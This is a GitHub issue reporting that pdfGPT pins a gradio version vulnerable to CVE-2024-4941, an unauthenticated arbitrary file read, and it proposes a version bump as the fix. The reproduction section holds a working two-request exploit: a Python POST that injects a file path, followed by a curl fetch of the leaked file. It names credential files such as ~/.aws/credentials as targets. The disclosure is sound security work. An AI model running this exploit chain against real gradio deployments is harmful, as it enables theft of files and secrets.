#121·pdfGPT

Unauthenticated arbitrary file read via gradio CVE-2024-4941 on pinned `gradio==4.11.0`

Author: hamizan-azmanCreated May 24, 2026Updated May 24, 2026

Describe the bug

pdfGPT pins gradio==4.11.0 exactly (requirements.txt:7). This version is in the affected range of CVE-2024-4941 / GHSA-h66w-2m37-rphw (gradio < 4.31.4). The bug allows an unauthenticated remote attacker who can reach the pdfGPT gradio API endpoint to read arbitrary files the pdfGPT process has access to.

The attack uses a 2-request chain that exploits gradio's processing_utils.move_files_to_cache():

  1. The attacker POSTs JSON to /api/predict with a {"path": "/some/file"} dict in the position of pdfGPT's gr.File input (slot 2 in app.py:86's inputs list).
  2. gradio's pre-fix move_files_to_cache blindly copies the referenced file into its cache directory at /tmp/gradio/<sha>/<basename> and returns that path in the response.
  3. The attacker fetches the file via GET /file=/tmp/gradio/<sha>/<basename>. The cache path is in gradio's /file= allowlist (is_cached_example check), so it's served.

Upstream patch: gradio commit ee1e294 added check_all_files_in_cache(data) which rejects path-keyed dicts that resolve outside the upload/cache folder.

Reference: CVE-2024-4941 | huntr bounty.

CWE-22 (Path Traversal), CWE-552 (Files or Directories Accessible to External Parties).

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N (7.5, high). Unauthenticated arbitrary file read on the pdfGPT process's filesystem.

To Reproduce

Tested on HEAD 04d7a41 with pip install gradio==4.11.0 'huggingface_hub<0.20'. The full pdfGPT install (pip install -r requirements.txt) fails on the deprecated langchain-serve build, but the gradio-level bug does not depend on pdfGPT's application logic — only on the gradio component layout in app.py, which I mirror exactly below.

  1. Plant a target file outside any gradio allowlist (representing any sensitive file the pdfGPT process can read, e.g. /etc/passwd, ~/.env, ~/.aws/credentials):
bash
echo "SENSITIVE_FILE_CONTENT" > /tmp/target-file.txt
  1. Stand up a minimal gradio app with the same component layout as pdfGPT (or run pdfGPT itself with the maintainer's normal flow; the component shape is the only thing that matters for the gradio bug):
python
import gradio as gr
def ask_api(lcserve_host, pdf_url, file, question, openAI_key):
    return f"got file={file}"
with gr.Blocks() as demo:
    lcserve_host = gr.Textbox(value='http://localhost:8080')
    openAI_key = gr.Textbox(type='password')
    pdf_url = gr.Textbox()
    file = gr.File(file_types=['.pdf'])
    question = gr.Textbox()
    btn = gr.Button(value='Submit')
    answer = gr.Textbox()
    btn.click(ask_api, inputs=[lcserve_host, pdf_url, file, question, openAI_key], outputs=[answer])
demo.launch(server_name="127.0.0.1", server_port=7883, share=False)
  1. POST the attack payload to /api/predict. The file slot (index 2 in the inputs) gets the path-keyed dict pointing at the target file:
python
import urllib.request, json
body = {
    "data": [
        "http://localhost:8080",        # lcserve_host
        "",                              # pdf_url
        {"path": "/tmp/target-file.txt"}, # file <- attacker injection
        "q",                             # question
        "sk-fake",                       # openAI_key
    ],
    "fn_index": 0,
    "session_hash": "x"*11,
}
req = urllib.request.Request("http://127.0.0.1:7883/api/predict",
                              data=json.dumps(body).encode(),
                              headers={"Content-Type":"application/json"}, method="POST")
r = urllib.request.urlopen(req, timeout=10)
print(r.read().decode())

Response (sanitised):

json
{"data":["got file=/tmp/gradio/<sha>/target-file.txt"], "is_generating":false, ...}
  1. Fetch the file via /file=:
bash
curl 'http://127.0.0.1:7883/file=/tmp/gradio/<sha>/target-file.txt'

Response body:

SENSITIVE_FILE_CONTENT

The file at /tmp/target-file.txt — which is NOT in any gradio allowlist — has been leaked to an unauthenticated attacker who could reach /api/predict.

Expected behavior

gradio's processing_utils.move_files_to_cache() should validate path-keyed dicts before copying files. The post-fix gradio (>= 4.31.4) returns HTTP 500 {"error":null} for the same attack payload, because check_all_files_in_cache() raises an Error when the path resolves outside the upload/cache folder.

Suggested fix

Bump requirements.txt:7 from:

gradio==4.11.0

to:

gradio>=4.31.4

or to the current gradio 5.x line (which includes CVE-2024-4941 plus subsequent security fixes).

The current latest 5.x releases also resolve:

  • CVE-2024-0964 (path-traversal variant, fix 4.13.0)
  • CVE-2024-1727 (gradio CORS, fix 4.19.2)
  • CVE-2024-8021 (open redirect, fix 4.36.0)

langchain-serve==0.0.61 (the other pinned dep) is itself deprecated per pdfGPT issue #114; a parallel migration off langchain-serve may simplify other pin updates, but is independent of this CVE.

Additional context

  • The deployed pin is exact (gradio==4.11.0), so a fresh pip install -r requirements.txt reliably reproduces the vulnerable install — no caret/range resolution that would silently pull a patched version.
  • The attack requires reaching pdfGPT's gradio API endpoint. The default demo.launch(server_port=7860, enable_queue=True) in app.py:89 binds to localhost only by default, but deployments that bind server_name="0.0.0.0", expose port 7860 via Docker, or host on Hugging Face Spaces / similar are reachable by remote attackers.
  • The attack is unauthenticated: pdfGPT does not configure gradio with auth= per app.py.
  • No prior issue in this repository covers CVE-2024-4941 (searched gradio, CVE, path traversal, security, /file, cache).